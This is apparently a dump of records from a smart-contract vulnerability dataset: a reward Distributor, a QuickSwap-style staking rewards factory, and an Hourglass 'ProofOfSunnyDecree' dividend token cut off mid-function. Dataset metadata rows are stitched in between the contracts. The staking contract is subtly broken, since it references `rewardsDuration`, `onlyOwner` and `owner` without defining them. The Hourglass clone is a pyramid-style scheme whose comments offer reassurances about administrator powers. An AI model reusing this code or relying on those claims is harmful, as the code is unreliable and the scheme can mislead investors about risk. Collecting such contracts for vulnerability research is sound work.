// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 96,655 | 10,805 |
bdb5ebd4ad0a5bb6fc10e93db4a4a7a26d53c700b0bd77ba0578436e18aceead
| 27,338 |
.sol
|
Solidity
| false |
327569421
|
QuickSwap/quickswap-core
|
27a8426ac90e4f34862483d6338b5febc79d99e0
|
contracts/staking/StakingRewardsFactoryNormalize.sol
| 4,395 | 17,563 |
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
// Inheritance
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
contract RewardsDistributionRecipient {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward, uint256 duration) external;
modifier onlyRewardsDistribution() {
require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract");
_;
}
}
interface IUniswapV2ERC20 {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
uint256 constant public EQUALIZING_FACTOR = 1e18;
constructor(address _rewardsDistribution,
address _rewardsToken,
address _stakingToken) public {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply));
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).div(EQUALIZING_FACTOR).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration).div(EQUALIZING_FACTOR);
}
function stake(uint256 amount) external nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
function notifyRewardAmount(uint256 reward, uint256 rewardsDuration) external onlyRewardsDistribution updateReward(address(0)) {
require(block.timestamp.add(rewardsDuration) >= periodFinish, "Cannot reduce existing period");
if (block.timestamp >= periodFinish) {
rewardRate = reward.mul(EQUALIZING_FACTOR).div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.mul(EQUALIZING_FACTOR).add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint balance = rewardsToken.balanceOf(address(this));
require(rewardRate <= balance.mul(EQUALIZING_FACTOR).div(rewardsDuration), "Provided reward too high");
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token");
IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
}
contract StakingRewardsFactory is Ownable {
// immutables
address public rewardsToken;
uint public stakingRewardsGenesis;
// the staking tokens for which the rewards contract has been deployed
address[] public stakingTokens;
// info about rewards for a particular staking token
struct StakingRewardsInfo {
address stakingRewards;
uint rewardAmount;
uint duration;
}
// rewards info by staking token
mapping(address => StakingRewardsInfo) public stakingRewardsInfoByStakingToken;
constructor(address _rewardsToken,
uint _stakingRewardsGenesis) Ownable() public {
require(_stakingRewardsGenesis >= block.timestamp, 'StakingRewardsFactory::constructor: genesis too soon');
rewardsToken = _rewardsToken;
stakingRewardsGenesis = _stakingRewardsGenesis;
}
///// permissioned functions
// deploy a staking reward contract for the staking token, and store the reward amount
// the reward will be distributed to the staking reward contract no sooner than the genesis
function deploy(address stakingToken, uint rewardAmount, uint256 rewardsDuration) public onlyOwner {
StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];
require(info.stakingRewards == address(0), 'StakingRewardsFactory::deploy: already deployed');
info.stakingRewards = address(new StakingRewards(address(this), rewardsToken, stakingToken));
info.rewardAmount = rewardAmount;
info.duration = rewardsDuration;
stakingTokens.push(stakingToken);
}
function update(address stakingToken, uint rewardAmount, uint256 rewardsDuration) public onlyOwner {
StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];
require(info.stakingRewards != address(0), 'StakingRewardsFactory::update: not deployed');
info.rewardAmount = rewardAmount;
info.duration = rewardsDuration;
}
///// permissionless functions
// call notifyRewardAmount for all staking tokens.
function notifyRewardAmounts() public {
require(stakingTokens.length > 0, 'StakingRewardsFactory::notifyRewardAmounts: called before any deploys');
for (uint i = 0; i < stakingTokens.length; i++) {
notifyRewardAmount(stakingTokens[i]);
}
}
// notify reward amount for an individual staking token.
// this is a fallback in case the notifyRewardAmounts costs too much gas to call for all contracts
function notifyRewardAmount(address stakingToken) public {
require(block.timestamp >= stakingRewardsGenesis, 'StakingRewardsFactory::notifyRewardAmount: not ready');
StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken];
require(info.stakingRewards != address(0), 'StakingRewardsFactory::notifyRewardAmount: not deployed');
if (info.rewardAmount > 0 && info.duration > 0) {
uint rewardAmount = info.rewardAmount;
uint256 duration = info.duration;
info.rewardAmount = 0;
info.duration = 0;
require(IERC20(rewardsToken).transfer(info.stakingRewards, rewardAmount),
'StakingRewardsFactory::notifyRewardAmount: transfer failed');
StakingRewards(info.stakingRewards).notifyRewardAmount(rewardAmount, duration);
}
}
function pullExtraTokens(address token, uint256 amount) external onlyOwner {
IERC20(token).transfer(msg.sender, amount);
}
}
| 225,858 | 10,806 |
01b90d4c8d66acc987379cd91a0ef28fccadf5641d8ac53ef9813bcf70f6ef28
| 25,037 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x9d007cfd71cd1e3ca4853b1ab7d43fbd3263509c.sol
| 4,512 | 17,676 |
pragma solidity ^0.4.20;
contract Hourglass {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if(onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_)){
require(// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "ProofOfSunnyDecree";
string public symbol = "POSD";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 4;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 50 tokens)
uint256 public stakingRequirement = 50e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = .5 ether;
uint256 constant internal ambassadorQuota_ = .5 ether;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(bytes32 => bool) public administrators;
bool public onlyAmbassadors = true;
function Hourglass()
public
{
ambassadors_[0x8EDc34E08C9659Ebf60E62B96dcedF26e57998D6] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (we dont want whale premines)
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
